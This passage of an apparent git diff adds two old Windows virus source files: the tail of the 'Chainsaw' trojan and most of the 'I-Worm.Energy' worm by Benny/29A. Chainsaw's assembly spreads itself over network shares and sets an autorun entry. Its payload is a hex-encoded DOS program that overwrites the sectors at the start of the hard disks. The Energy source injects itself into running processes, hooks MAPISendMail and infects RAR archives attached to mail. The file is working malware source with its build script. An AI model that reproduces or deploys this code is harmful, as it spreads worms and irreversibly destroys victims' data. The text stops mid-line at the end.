doesn't+; even terminate his TCP commands with a terminator for example,+; which will lead to fragmented packets fucking up. Also, when you+; supply wrong commands to the server, it will downright hang itself.+; And as a bonus, SubSeven infected systems become slooow, not sure+; exactly why.. I'd say, leave writing RAT's to people who know+; their stuff, like the authors of Back Orifice 2000.+++; Recursively scans the host's resources for shared drives.+Locate_Shares:+ PUSHAD++ PUSH OFFSET Enum_Handle ; Start enumerating all+ PUSH OFFSET Net_Resource ; shared drives.+ PUSH 0+ PUSH RESOURCETYPE_DISK+ PUSH RESOURCE_GLOBALNET+ CALL WNetOpenEnumA++ OR EAX, EAX+ JNZ Exit_Loc_Share++ MOV EBX, Enum_Handle++Enum_Resource: MOV Net_Struc_Count, 1++ PUSH OFFSET Enum_Buf_Size ; Find shared drive.+ PUSH OFFSET Net_Resource+ PUSH OFFSET Net_Struc_Count+ PUSH EBX+ CALL WNetEnumResourceA++ OR EAX, EAX+ JNZ Close_Enum++ CMP Net_Usage, RESOURCEUSAGE_CONTAINER+ JNE Infect_Share++ CALL Locate_Shares++ JMP Enum_Resource++Infect_Share: MOV Net_Local_Name, OFFSET Remote_Drive++ PUSH 0 ; Map the shared drive to+ PUSH 0 ; 'T:'.+ PUSH 0+ PUSH OFFSET Net_Resource+ CALL WNetAddConnection2A++ OR EAX, EAX+ JNZ Enum_Resource++ PUSH 1 ; Copy Chainsaw.exe to the+ PUSH OFFSET Remote_Trojan ; root of this shared drive.+ PUSH OFFSET Own_Path+ CALL CopyFileA++ XCHG ECX, EAX+ JECXZ Un_Map_Share++ PUSH OFFSET MsDos_Sys ; Attempt to get the Win9x+ PUSH 260 ; directory.+ PUSH OFFSET Win_Dir+ PUSH OFFSET Default_String+ PUSH OFFSET Win_Dir_Key+ PUSH OFFSET Paths_Section+ CALL GetPrivateProfileStringA++ XCHG ECX, EAX+ JECXZ Un_Map_Share++ LEA EDI, [Win_Dir+ECX] ; Append '\WIN.INI' to it.+ MOV ESI, OFFSET Slash_Win_Ini+ MOV ECX, 9+ REP MOVSB++ PUSH OFFSET Win_Dir ; Add 'run=\Chainsaw.exe' to+ PUSH OFFSET Root_Dropper ; Win9x's WIN.INI.+ PUSH OFFSET Win_Ini_Run_Key+ PUSH OFFSET Windows_Section+ CALL WritePrivateProfileStringA++ XCHG ECX, EAX+ JECXZ Un_Map_Share++ PUSH FILE_ATTRIBUTE_HIDDEN ; Hide the drop file.+ PUSH OFFSET Remote_Trojan+ CALL SetFileAttributesA++Un_Map_Share: PUSH 0 ; Unmap shared drive.+ PUSH 0+ PUSH OFFSET Remote_Drive+ CALL WNetCancelConnection2A++ JMP Enum_Resource++Close_Enum: PUSH EBX+ CALL WNetCloseEnum++Exit_Loc_Share: POPAD++ RETN+++; Ima go woop yo ass boy!+Payload:+ PUSH 0+ PUSH 0+ PUSH CREATE_ALWAYS+ PUSH 0+ PUSH 0+ PUSH GENERIC_WRITE+ PUSH OFFSET Nuke_File+ CALL CreateFileA++ XCHG EBX, EAX++ PUSH 0 ; Write bomb.+ PUSH OFFSET Temp+ PUSH 666+ PUSH OFFSET DOS_Bomb+ PUSH EBX+ CALL WriteFile++ PUSH EBX+ CALL CloseHandle++ PUSH 0 ; Run the bomb (only WinExec+ PUSH OFFSET Nuke_File ; is capable of running DOS+ CALL WinExec ; files too).++ JMP $ ; Heart stops..+++ ; Bomb in DOS COM-format, this way it works both on 95/98 and NT/2K.+ ; Smashes disk structures of 1st 2 fixed disks, should be fast and+ ; unrecoverable.++; .MODEL TINY+; .CODE+;+; ORG 100h+;START:+; MOV AX, 3513h ; Grab INT 13h's address.+; INT 21h+;+; MOV Int13h, BX ; Store it for later.+; MOV Int13h+2, ES+;+; PUSH CS+; POP ES+;+; XOR SI, SI+;+; MOV BX, OFFSET Trash_Text+; MOV CX, (End_Trash_Text-Trash_Text)+;+; ; Decrypt trash text.+;+;Decrypt_Text: XOR BYTE PTR [BX+SI], 66h+;+; INC SI+;+; LOOP Decrypt_Text+;+; INC CX ; CX = 0001h.+;+; MOV DX, 80h+1 ; Start trashing backwards+; ; from 2nd HDD.+;+;Kill_Head: MOV AX, 0302h ; Smash 2 sectors of track+; PUSHF ; 0 with our text.+; DB 9Ah+;Int13h DW 0, 0+;+; INC DH ; Smashed all heads?+; JNZ Kill_Head+;+; DEC DL ; Smashed all HDD's ?+; JS Kill_Head+;+;Exit: RETN ; Back to Windoze..+;+; DB 'T2' ; To pad this file to 666.+;+; ; XOR 66h encrypted:+;+; ; "THE FILM WHICH YOU ARE ABOUT TO SEE IS AN ACCOUNT OF THE+; ; TRAGEDY WHICH BEFELL A GROUP OF FIVE YOUTHS. IN PARTICULAR+; ; SALLY HARDESTY AND HER INVALID BROTHER FRANKLIN. IT IS ALL+; ; THE MORE TRAGIC IN THAT THEY WERE YOUNG. BUT, HAD THEY+; ; LIVED VERY, VERY LONG LIVES, THEY COULD NOT HAVE EXPECTED+; ; NOR WOULD THEY HAVE WISHED TO SEE AS MUCH OF THE MAD AND+; ; MACABRE AS THEY WERE TO SEE THAT DAY. FOR THEM AN IDYLLIC+; ; SUMMER AFTERNOON DRIVE BECAME A NIGHTMARE. THE EVENTS OF+; ; THAT DAY WERE TO LEAD TO THE DISCOVERY OF ONE OF THE MOST+; ; BIZARRE CRIMES IN THE ANNALS OF AMERICAN HISTORY,+; ; THE TEXAS CHAIN SAW MASSACRE..."+;+; ; (I adore this movie :)+;+;Trash_Text: DB 44h, 32h, 2Eh, 23h, 46h, 20h, 2Fh, 2Ah, 2Bh, 46h+; DB 31h, 2Eh, 2Fh, 25h, 2Eh, 46h, 3Fh, 29h, 33h, 46h+; DB 27h, 34h, 23h, 46h, 27h, 24h, 29h, 33h, 32h, 46h+; DB 32h, 29h, 46h, 35h, 23h, 23h, 46h, 2Fh, 35h, 46h+; DB 27h, 28h, 46h, 27h, 25h, 25h, 29h, 33h, 28h, 32h+; DB 46h, 29h, 20h, 46h, 32h, 2Eh, 23h, 6Bh, 6Ch, 32h+; DB 34h, 27h, 21h, 23h, 22h, 3Fh, 46h, 31h, 2Eh, 2Fh+; DB 25h, 2Eh, 46h, 24h, 23h, 20h, 23h, 2Ah, 2Ah, 46h+; DB 27h, 46h, 21h, 34h, 29h, 33h, 36h, 46h, 29h, 20h+; DB 46h, 20h, 2Fh, 30h, 23h, 46h, 3Fh, 29h, 33h, 32h+; DB 2Eh, 35h, 48h, 46h, 2Fh, 28h, 46h, 36h, 27h, 34h+; DB 32h, 2Fh, 25h, 33h, 2Ah, 27h, 34h, 6Bh, 6Ch, 35h+; DB 27h, 2Ah, 2Ah, 3Fh, 46h, 2Eh, 27h, 34h, 22h, 23h+; DB 35h, 32h, 3Fh, 46h, 27h, 28h, 22h, 46h, 2Eh, 23h+; DB 34h, 46h, 2Fh, 28h, 30h, 27h, 2Ah, 2Fh, 22h, 46h+; DB 24h, 34h, 29h, 32h, 2Eh, 23h, 34h, 46h, 20h, 34h+; DB 27h, 28h, 2Dh, 2Ah, 2Fh, 28h, 48h, 46h, 2Fh, 32h+; DB 46h, 2Fh, 35h, 46h, 27h, 2Ah, 2Ah, 6Bh, 6Ch, 32h+; DB 2Eh, 23h, 46h, 2Bh, 29h, 34h, 23h, 46h, 32h, 34h+; DB 27h, 21h, 2Fh, 25h, 46h, 2Fh, 28h, 46h, 32h, 2Eh+; DB 27h, 32h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 31h, 23h+; DB 34h, 23h, 46h, 3Fh, 29h, 33h, 28h, 21h, 48h, 46h+; DB 24h, 33h, 32h, 4Ah, 46h, 2Eh, 27h, 22h, 46h, 32h+; DB 2Eh, 23h, 3Fh, 6Bh, 6Ch, 2Ah, 2Fh, 30h, 23h, 22h+; DB 46h, 30h, 23h, 34h, 3Fh, 4Ah, 46h, 30h, 23h, 34h+; DB 3Fh, 46h, 2Ah, 29h, 28h, 21h, 46h, 2Ah, 2Fh, 30h+; DB 23h, 35h, 4Ah, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 25h+; DB 29h, 33h, 2Ah, 22h, 46h, 28h, 29h, 32h, 46h, 2Eh+; DB 27h, 30h, 23h, 46h, 23h, 3Eh, 36h, 23h, 25h, 32h+; DB 23h, 22h, 6Bh, 6Ch, 28h, 29h, 34h, 46h, 31h, 29h+; DB 33h, 2Ah, 22h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 2Eh+; DB 27h, 30h, 23h, 46h, 31h, 2Fh, 35h, 2Eh, 23h, 22h+; DB 46h, 32h, 29h, 46h, 35h, 23h, 23h, 46h, 27h, 35h+; DB 46h, 2Bh, 33h, 25h, 2Eh, 46h, 29h, 20h, 46h, 32h+; DB 2Eh, 23h, 46h, 2Bh, 27h, 22h, 46h, 27h, 28h, 22h+; DB 6Bh, 6Ch, 2Bh, 27h, 25h, 27h, 24h, 34h, 23h, 46h+; DB 27h, 35h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 31h, 23h+; DB 34h, 23h, 46h, 32h, 29h, 46h, 35h, 23h, 23h, 46h+; DB 32h, 2Eh, 27h, 32h, 46h, 22h, 27h, 3Fh, 48h, 46h+; DB 20h, 29h, 34h, 46h, 32h, 2Eh, 23h, 2Bh, 46h, 27h+; DB 28h, 46h, 2Fh, 22h, 3Fh, 2Ah, 2Ah, 2Fh, 25h, 6Bh+; DB 6Ch, 35h, 33h, 2Bh, 2Bh, 23h, 34h, 46h, 27h, 20h+; DB 32h, 23h, 34h, 28h, 29h, 29h, 28h, 46h, 22h, 34h+; DB 2Fh, 30h, 23h, 46h, 24h, 23h, 25h, 27h, 2Bh, 23h+; DB 46h, 27h, 46h, 28h, 2Fh, 21h, 2Eh, 32h, 2Bh, 27h+; DB 34h, 23h, 48h, 46h, 32h, 2Eh, 23h, 46h, 23h, 30h+; DB 23h, 28h, 32h, 35h, 46h, 29h, 20h, 6Bh, 6Ch, 32h+; DB 2Eh, 27h, 32h, 46h, 22h, 27h, 3Fh, 46h, 31h, 23h+; DB 34h, 23h, 46h, 32h, 29h, 46h, 2Ah, 23h, 27h, 22h+; DB 46h, 32h, 29h, 46h, 32h, 2Eh, 23h, 46h, 22h, 2Fh+; DB 35h, 25h, 29h, 30h, 23h, 34h, 3Fh, 46h, 29h, 20h+; DB 46h, 29h, 28h, 23h, 46h, 29h, 20h, 46h, 32h, 2Eh+; DB 23h, 46h, 2Bh, 29h, 35h, 32h, 6Bh, 6Ch, 24h, 2Fh+; DB 3Ch, 27h, 34h, 34h, 23h, 46h, 25h, 34h, 2Fh, 2Bh+; DB 23h, 35h, 46h, 2Fh, 28h, 46h, 32h, 2Eh, 23h, 46h+; DB 27h, 28h, 28h, 27h, 2Ah, 35h, 46h, 29h, 20h, 46h+; DB 27h, 2Bh, 23h, 34h, 2Fh, 25h, 27h, 28h, 46h, 2Eh+; DB 2Fh, 35h, 32h, 29h, 34h, 3Fh, 4Ah, 6Bh, 6Ch, 32h+; DB 2Eh, 23h, 46h, 32h, 23h, 3Eh, 27h, 35h, 46h, 25h+; DB 2Eh, 27h, 2Fh, 28h, 46h, 35h, 27h, 31h, 46h, 2Bh+; DB 27h, 35h, 35h, 27h, 25h, 34h, 23h, 48h, 48h, 48h+; DB 44h, 6Bh, 6Ch+;End_Trash_Text:+; END START++DOS_Bomb: DB 0B8h, 013h, 035h, 0CDh, 021h, 089h, 01Eh, 026h, 001h+ DB 08Ch, 006h, 028h, 001h, 00Eh, 007h, 033h, 0F6h, 0BBh+ DB 035h, 001h, 0B9h, 065h, 002h, 080h, 030h, 066h, 046h+ DB 0E2h, 0FAh, 041h, 0BAh, 081h, 000h, 0B8h, 002h, 003h+ DB 09Ch, 09Ah, 000h, 000h, 000h, 000h, 0FEh, 0C6h, 075h+ DB 0F3h, 0FEh, 0CAh, 078h, 0EFh, 0C3h, 054h, 032h, 044h+ DB 032h, 02Eh, 023h, 046h, 020h, 02Fh, 02Ah, 02Bh, 046h+ DB 031h, 02Eh, 02Fh, 025h, 02Eh, 046h, 03Fh, 029h, 033h+ DB 046h, 027h, 034h, 023h, 046h, 027h, 024h, 029h, 033h+ DB 032h, 046h, 032h, 029h, 046h, 035h, 023h, 023h, 046h+ DB 02Fh, 035h, 046h, 027h, 028h, 046h, 027h, 025h, 025h+ DB 029h, 033h, 028h, 032h, 046h, 029h, 020h, 046h, 032h+ DB 02Eh, 023h, 06Bh, 06Ch, 032h, 034h, 027h, 021h, 023h+ DB 022h, 03Fh, 046h, 031h, 02Eh, 02Fh, 025h, 02Eh, 046h+ DB 024h, 023h, 020h, 023h, 02Ah, 02Ah, 046h, 027h, 046h+ DB 021h, 034h, 029h, 033h, 036h, 046h, 029h, 020h, 046h+ DB 020h, 02Fh, 030h, 023h, 046h, 03Fh, 029h, 033h, 032h+ DB 02Eh, 035h, 048h, 046h, 02Fh, 028h, 046h, 036h, 027h+ DB 034h, 032h, 02Fh, 025h, 033h, 02Ah, 027h, 034h, 06Bh+ DB 06Ch, 035h, 027h, 02Ah, 02Ah, 03Fh, 046h, 02Eh, 027h+ DB 034h, 022h, 023h, 035h, 032h, 03Fh, 046h, 027h, 028h+ DB 022h, 046h, 02Eh, 023h, 034h, 046h, 02Fh, 028h, 030h+ DB 027h, 02Ah, 02Fh, 022h, 046h, 024h, 034h, 029h, 032h+ DB 02Eh, 023h, 034h, 046h, 020h, 034h, 027h, 028h, 02Dh+ DB 02Ah, 02Fh, 028h, 048h, 046h, 02Fh, 032h, 046h, 02Fh+ DB 035h, 046h, 027h, 02Ah, 02Ah, 06Bh, 06Ch, 032h, 02Eh+ DB 023h, 046h, 02Bh, 029h, 034h, 023h, 046h, 032h, 034h+ DB 027h, 021h, 02Fh, 025h, 046h, 02Fh, 028h, 046h, 032h+ DB 02Eh, 027h, 032h, 046h, 032h, 02Eh, 023h, 03Fh, 046h+ DB 031h, 023h, 034h, 023h, 046h, 03Fh, 029h, 033h, 028h+ DB 021h, 048h, 046h, 024h, 033h, 032h, 04Ah, 046h, 02Eh+ DB 027h, 022h, 046h, 032h, 02Eh, 023h, 03Fh, 06Bh, 06Ch+ DB 02Ah, 02Fh, 030h, 023h, 022h, 046h, 030h, 023h, 034h+ DB 03Fh, 04Ah, 046h, 030h, 023h, 034h, 03Fh, 046h, 02Ah+ DB 029h, 028h, 021h, 046h, 02Ah, 02Fh, 030h, 023h, 035h+ DB 04Ah, 046h, 032h, 02Eh, 023h, 03Fh, 046h, 025h, 029h+ DB 033h, 02Ah, 022h, 046h, 028h, 029h, 032h, 046h, 02Eh+ DB 027h, 030h, 023h, 046h, 023h, 03Eh, 036h, 023h, 025h+ DB 032h, 023h, 022h, 06Bh, 06Ch, 028h, 029h, 034h, 046h+ DB 031h, 029h, 033h, 02Ah, 022h, 046h, 032h, 02Eh, 023h+ DB 03Fh, 046h, 02Eh, 027h, 030h, 023h, 046h, 031h, 02Fh+ DB 035h, 02Eh, 023h, 022h, 046h, 032h, 029h, 046h, 035h+ DB 023h, 023h, 046h, 027h, 035h, 046h, 02Bh, 033h, 025h+ DB 02Eh, 046h, 029h, 020h, 046h, 032h, 02Eh, 023h, 046h+ DB 02Bh, 027h, 022h, 046h, 027h, 028h, 022h, 06Bh, 06Ch+ DB 02Bh, 027h, 025h, 027h, 024h, 034h, 023h, 046h, 027h+ DB 035h, 046h, 032h, 02Eh, 023h, 03Fh, 046h, 031h, 023h+ DB 034h, 023h, 046h, 032h, 029h, 046h, 035h, 023h, 023h+ DB 046h, 032h, 02Eh, 027h, 032h, 046h, 022h, 027h, 03Fh+ DB 048h, 046h, 020h, 029h, 034h, 046h, 032h, 02Eh, 023h+ DB 02Bh, 046h, 027h, 028h, 046h, 02Fh, 022h, 03Fh, 02Ah+ DB 02Ah, 02Fh, 025h, 06Bh, 06Ch, 035h, 033h, 02Bh, 02Bh+ DB 023h, 034h, 046h, 027h, 020h, 032h, 023h, 034h, 028h+ DB 029h, 029h, 028h, 046h, 022h, 034h, 02Fh, 030h, 023h+ DB 046h, 024h, 023h, 025h, 027h, 02Bh, 023h, 046h, 027h+ DB 046h, 028h, 02Fh, 021h, 02Eh, 032h, 02Bh, 027h, 034h+ DB 023h, 048h, 046h, 032h, 02Eh, 023h, 046h, 023h, 030h+ DB 023h, 028h, 032h, 035h, 046h, 029h, 020h, 06Bh, 06Ch+ DB 032h, 02Eh, 027h, 032h, 046h, 022h, 027h, 03Fh, 046h+ DB 031h, 023h, 034h, 023h, 046h, 032h, 029h, 046h, 02Ah+ DB 023h, 027h, 022h, 046h, 032h, 029h, 046h, 032h, 02Eh+ DB 023h, 046h, 022h, 02Fh, 035h, 025h, 029h, 030h, 023h+ DB 034h, 03Fh, 046h, 029h, 020h, 046h, 029h, 028h, 023h+ DB 046h, 029h, 020h, 046h, 032h, 02Eh, 023h, 046h, 02Bh+ DB 029h, 035h, 032h, 06Bh, 06Ch, 024h, 02Fh, 03Ch, 027h+ DB 034h, 034h, 023h, 046h, 025h, 034h, 02Fh, 02Bh, 023h+ DB 035h, 046h, 02Fh, 028h, 046h, 032h, 02Eh, 023h, 046h+ DB 027h, 028h, 028h, 027h, 02Ah, 035h, 046h, 029h, 020h+ DB 046h, 027h, 02Bh, 023h, 034h, 02Fh, 025h, 027h, 028h+ DB 046h, 02Eh, 02Fh, 035h, 032h, 029h, 034h, 03Fh, 04Ah+ DB 06Bh, 06Ch, 032h, 02Eh, 023h, 046h, 032h, 023h, 03Eh+ DB 027h, 035h, 046h, 025h, 02Eh, 027h, 02Fh, 028h, 046h+ DB 035h, 027h, 031h, 046h, 02Bh, 027h, 035h, 035h, 027h+ DB 025h, 034h, 023h, 048h, 048h, 048h, 044h, 06Bh, 06Ch++ END START++ ; *shrug*, haven't really finished this piece-o-crap,+ ; mainly because I got fed up with all them bugs in+ ; the server programs.. also not sure if the NetBios+ ; shit works on remotes.. oh fuck it :|+�������������������������������������������������������������[CHAINSAW.ASM]���+��������������������������������������������������������������[CHAINSAW.RC]���+I ICON DISCARDABLE "BLACK.ICO"+��������������������������������������������������������������[CHAINSAW.RC]���+��������������������������������������������������������������������[Q.BAT]���+TASM32 CHAINSAW.ASM /ml /m+TLINK32 CHAINSAW.OBJ C:\TASM\LIB\IMPORT32.LIB WININET.LIB -aa+BRC32 CHAINSAW.RC+UPX\UPX CHAINSAW.EXE --force+��������������������������������������������������������������������[Q.BAT]���diff --git a/Worms/InternetWorm/I-Worm.Energy.asm b/Worms/InternetWorm/I-Worm.Energy.asmnew file mode 100644index 0000000..fb9c911--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Energy.asm@@ -0,0 +1,727 @@++COMMENT #++ ������������������Ŀ+ � I-Worm.Energy �+ ��������������������+ ��������������������Ŀ+ � by Benny/29A �+ ����������������������++hey all...+�����������++it was one b0ring sunday, when I decided to code some small and kewl virus...+I was tired from coding large projectz (HIV, XTC)... I wanted to code one+worm with some nice ideaz, like the Win2k.Stream.++and here it is. after some meditationz, full of experiencez from psychedelics+I decided to call this worm "Energy"... it is very small worm, spreading via+RAR filez. it can parse all processes, hook there MAPISendMail API procedure+and infect all attached RAR filez in a message by dropping itself to there.+very similar technique of the process'es address space manipulationz is+described in my article "Multi-process residency" and Win32.HIV virus. surely+it can't work on Win95/98 systemz. it worx on Windows 2000 OS, and (perhaps)+also on earlier versionz of Windows NT - but I don't know, I haven't tested it.++it can stay resident in memory as a service, by standard API callz, valid only+in NT systemz. while infecting the RAR archivez it addz itself to there under+the "SETUP.EXE" filename, containing also the standard setup icon. I tried to+optimize the source a bit... I know the worm is not super-small, but I it is+resident heavilly armoured very effective tiny mail-spreading worm.+++the scheme of execution:+�������������������������++after execution:+- anti-* stuff+- if initialized by SCM, run as a service process+- copy worm to system directory as "ENERGY.EXE"+- register worm as service process and run it everytime the OS will start+- enum processes, find MAPI32.dll there and hook MAPSendMail (using many+ trics)+- wait one minute and again++hook_procedure:+- parse embedded filez and search for RAR filez.+- infect them by worm file: SETUP.EXE, mark as read-only (already-infected+ mark).+++the worm is encrypted/compressed by "tElock, version 0.51", one very nice+utility for armouring executable filez. this protector containz many nice+anti-* featurez. that's why I decided to use it. and also becoz I think guyz at+AVP can't handle this one.++it is possible that worm containz some bugz. yeah, but I don't care... I'm glad+I was able to finish it in 2 dayz and that it was not b0ring. I had a fun.++++If you would like to consult anything with me, feel free to contact me...++++(c) 14th November 2000 �������������Ŀ+Czech Republic � Benny / 29A �����������Ŀ+ @ [email protected] �+ @ http://benny29a.cjb.net �+ ���������������������������+#+++.586p+.model flat ;blablabla++extrn GetLastError:PROC ;needed APIz+extrn EnumProcesses:PROC+extrn OpenProcess:PROC+extrn VirtualProtect:PROC+extrn VirtualAllocEx:PROC+extrn VirtualFreeEx:PROC+extrn CloseHandle:PROC+extrn CreateRemoteThread:PROC+extrn WriteProcessMemory:PROC+extrn Sleep:PROC+extrn WaitForSingleObject:PROC+extrn GetModuleHandleA:PROC+extrn GetProcAddress:PROC+extrn CreateFileA:PROC+extrn WriteFile:PROC+extrn GetModuleFileNameA:PROC+extrn GetFileSize:PROC+extrn ReadFile:PROC+extrn VirtualFree:PROC+extrn VirtualAlloc:PROC+extrn SetFilePointer:PROC+extrn SetFileAttributesA:PROC+extrn OpenMutexA:PROC+extrn ExitThread:PROC+extrn GetSystemDirectoryA:PROC+extrn CopyFileA:PROC+++;extrn OpenServiceA:PROC+;extrn DeleteService:PROC ;***debug only!+extrn OpenSCManagerA:PROC+extrn CreateServiceA:PROC+extrn CloseServiceHandle:PROC+extrn StartServiceCtrlDispatcherA:PROC+extrn RegisterServiceCtrlHandlerA:PROC+extrn SetServiceStatus:PROC+++include useful.inc ;include filez+include win32api.inc+++PROC_COUNT equ 40*4 ;number of processes+++.data+ db ? ;some data++.code+Start: ;worm code starts here+ pushad+ @SEH_SetupFrame <jmp end_seh> ;setup SEH frame++e_name: @pushsz 'EnErGy'+ push 0+ push 1+ call OpenMutexA ;check if mutex is+ test eax,eax ;created, if not,+ je end_seh ;we are prob. debugged+ push eax+ call CloseHandle ;close its handle++ jmp SVCRegister ;logging as a service++e_svc: push 256+ mov esi, offset worm_name+ push esi+ push 0+ call GetModuleFileNameA ;get path+filename of+ ;the worm+ mov edi,offset sys_dir+ push edi+ push 256+ push edi+ call GetSystemDirectoryA ;get windowz system dir.+ add edi,eax+ mov al,'\'+ stosb+ mov eax,'rene'+ stosd+ mov eax,'e.yg'+ stosd+ mov eax,'ex'+ stosd ;construct path+filename++ pop edi+ push 0+ push edi+ push esi+ call CopyFileA ;copy worm to sys. dir.++ call SVCCreate ;register as a service++ push api_num+ pop ecx+ call @api_table+ dd offset GetModuleHandleA ;adressez of APIz+ dd offset GetProcAddress+ dd offset VirtualProtect+ dd offset CreateFileA+ dd offset CloseHandle+ dd offset WriteFile+ dd offset GetFileSize+ dd offset ReadFile+ dd offset VirtualFree+ dd offset VirtualAlloc+ dd offset SetFilePointer+ dd offset SetFileAttributesA+api_num = 12+@api_table:+ pop ebx++ call @api_dest ;addressez of variablez+ dd offset _gmha ;that will hold APIz+ dd offset _gpa+ dd offset _vp+ dd offset _cfa+ dd offset _ch+ dd offset _wf+ dd offset _gfs+ dd offset _rf+ dd offset _vf+ dd offset _va+ dd offset _sfp+ dd offset _sfaa+@api_dest:+ pop esi++get_apiz:+ dec ecx ;decrement counter+ mov eax,[ebx+ecx*4]+ mov eax,[eax+2]+ mov eax,[eax]+ mov edx,[esi+ecx*4]+ mov [edx],eax ;store API address+ test ecx,ecx+ jne get_apiz++worm_loop:+ mov ebx,offset tmp+ push ebx+ push PROC_COUNT+ mov esi,offset proc_dump+ push esi+ call EnumProcesses ;enum all processez+ dec eax+ jne end_seh++ mov ecx,[ebx] ;try this PID+p_check:lodsd+ call proc_infect ;try to infect it+ add ecx,-3+ loop p_check ;try next PID++worm_wait:+ push 60000+ call Sleep ;wait one minute+ jmp worm_loop ;and try again.+++;infect processez+proc_infect Proc+ pushad+ push eax+ push 0+ push 2 or 8 or 10h or 20h or 400h+ call OpenProcess ;get handle to process+ xchg eax,ecx+ jecxz end_proc_infect+ mov ebx,ecx++ push PAGE_READWRITE+ push MEM_RESERVE or MEM_COMMIT+ push virtual_end-Start+ push 0+ push ebx+ call VirtualAllocEx ;allocate there memory+ xchg eax,ecx ;for worm+ jecxz end_proc_infect2+ mov esi,ecx++ push 0+ push virtual_end-Start+ push offset Start+ push esi+ push ebx+ call WriteProcessMemory ;copy there worm body+ dec eax+ jne end_proc_infect3++ lea edx,[esi+offset ThreadEntry-offset Start]+ push eax+ push eax+ push eax+ push edx+ push eax+ push eax+ push ebx+ call CreateRemoteThread ;create thread there+ xchg eax,ecx+ jecxz end_proc_infect3+ push ecx++ push -1+ push ecx+ call WaitForSingleObject ;wait for its termination+ call CloseHandle ;and close its handle+ jmp end_proc_infect2 ;and quit++end_proc_infect3:+ push MEM_RELEASE+ push 0+ push esi+ push ebx+ call VirtualFreeEx ;release memory if failed++end_proc_infect2:+ push ebx+ call CloseHandle ;close handle to process+end_proc_infect:+ popad+ ret ;and quit+proc_infect EndP+++;remote thread procedure+ThreadEntry Proc+ pushad+ @SEH_SetupFrame <jmp end_seh> ;setup SEH frame+ call gdelta+gdelta: pop ebp ;get delta offset++ @pushsz 'MAPI32.dll'+ mov eax,12345678h+_gmha = dword ptr $-4+ call eax ;get address of MAPI32.dll+ xchg eax,ecx+ jecxz end_seh ;quit if not loaded++ @pushsz 'MAPISendMail'+ push ecx+ mov eax,12345678h+_gpa = dword ptr $-4+ call eax ;get address of+ xchg eax,ecx ;MAPISendMail API+ jecxz end_seh+ mov esi,ecx ;to ESI++ lea eax,[ebp + tmp - gdelta]+ push eax+ push PAGE_READWRITE+ push 5+ push esi+ mov eax,12345678h+_vp = dword ptr $-4+ call eax ;release page protection+ xchg eax,ecx+ jecxz end_seh++ call hook_api ;hook the API++end_seh:@SEH_RemoveFrame ;remove SEH frame+ popad ;and quit+ ret++;proc for API hooking+hook_api:+ mov [ebp + old_MAPI_addr - gdelta],esi+ push esi+ lea edi,[ebp + old_MAPI_api - gdelta]+ movsd+ movsb ;save first bytez of API+ pop edi+ mov ebx,edi++ lea eax,[ebp + MAPI_hooker - gdelta]+ sub ebx,eax+ neg ebx+ add ebx,-5+ mov al,0E9h+ stosb+ xchg eax,ebx+ stosd ;overwrite by JMP <worm_api>+ ret++;the API hooker+MAPI_hooker:+ push 12345678h+old_MAPI_addr = dword ptr $-4 ;save the address of API++ pushad+ mov edi,[esp.cPushad] ;get ptr to message+ @SEH_SetupFrame <jmp end_seh> ;setup SEH frame+ push edi++ mov ebx,[esp.cPushad.28]+ mov ecx,[ebx+40] ;number of attachmentz+ mov ebx,[ebx+44] ;ptr to file fieldz++f_parse:mov esi,[ebx+12]+ lea edi,[ebp + arc_buffer - gdelta]+ push edi+ @copysz+ dec edi+ cmp byte ptr [edi-1],'\'+ je over_slash+ mov al,'\'+ stosb+over_slash:+ mov esi,[ebx+16]+ @copysz+ or [esi-5],20202020h ;lower case+ cmp [esi-5],'rar.'+ pop esi ;create path+filename+ jne o_r ;quit if not RAR file+ call infect_archive ;try to infect this file+o_r: sub ebx,-24+ loop f_parse ;try another file in msg++ pop edi+ call @m_res+ old_MAPI_api db 5 dup (90h)+@m_res: pop esi+ movsd+ movsb ;remove the API hooker+ jmp end_seh ;and quit+++;procedure for RAR archive infecting+infect_archive:+ pushad+ @SEH_SetupFrame <jmp end_seh> ;setup SEH frame+ call gd+gd: pop ebp ;get delta offset++ lea eax,[ebp + worm_name - gd] ;get worm filename+ push 0+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push 0+ push 0+ push GENERIC_READ+ push eax+ call [ebp + _cfa - gd] ;open worm file+ inc eax+ je end_seh+ dec eax+ mov [ebp + hFile - gd],eax ;save handle++ push 0+ push eax+ mov eax,12345678h+_gfs = dword ptr $-4+ call eax ;get its size+ push eax++ push PAGE_READWRITE+ push MEM_RESERVE or MEM_COMMIT+ push eax+ push 0+ mov eax,12345678h+_va = dword ptr $-4+ call eax ;allocate enough memory+ test eax,eax+ pop edx+ je end_file+ xchg eax,ebx++ push edx+ push 0+ lea eax,[ebp + tmp - gd]+ push eax+ push edx+ push ebx+ push dword ptr [ebp + hFile - gd]+ mov eax,12345678h+_rf = dword ptr $-4 ;and copy there worm+ call eax+ call close_file ;close handle to file+ pop edi++ pushad+ mov esi,ebx+ call CRC32 ;calculate CRC32 of+ mov [ebp + RARCRC32 - gd],eax ;the worm file+ popad++ push 0+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push 0+ push 0+ push GENERIC_READ or GENERIC_WRITE+ push esi+ mov eax,12345678h+_cfa = dword ptr $-4+ call eax ;open the archive+ inc eax+ je end_file2+ dec eax+ mov [ebp + hFile - gd],eax ;save its handle++ push 2+ push 0+ push 0+ push eax+ mov eax,12345678h+_sfp = dword ptr $-4+ call eax ;go to EOF++ pushad+ lea esi,[ebp + RARHeaderCRC+2 - gd]+ push end_RAR-RARHeader-2+ pop edi+ call CRC32 ;calculate CRC32 of+ mov [ebp + RARHeaderCRC - gd],ax ;the RAR file header+ popad ;and save it++ push 0+ lea eax,[ebp + tmp - gd]+ push eax+ push end_RAR-RARHeader+ call end_RAR+RARHeader: ;No comment ;)+RARHeaderCRC dw 0+RARType db 74h+RARFlags dw 8000h+RARHSize dw end_RAR-RARHeader+RARCompressed dd 2000h+RAROriginal dd 2000h+RAROS db 0+RARCRC32 dd 0+RARFileDateTime dd 12345678h+RARNeedVer db 14h+RARMethod db 30h+RARFNameSize dw end_RAR-RARName+RARAttrib dd 0+RARName db 'SETUP.EXE'+end_RAR:+ push dword ptr [ebp + hFile - gd]+ mov eax,12345678h+_wf = dword ptr $-4+ call eax ;write RAR file header++ push 0+ lea eax,[ebp + tmp - 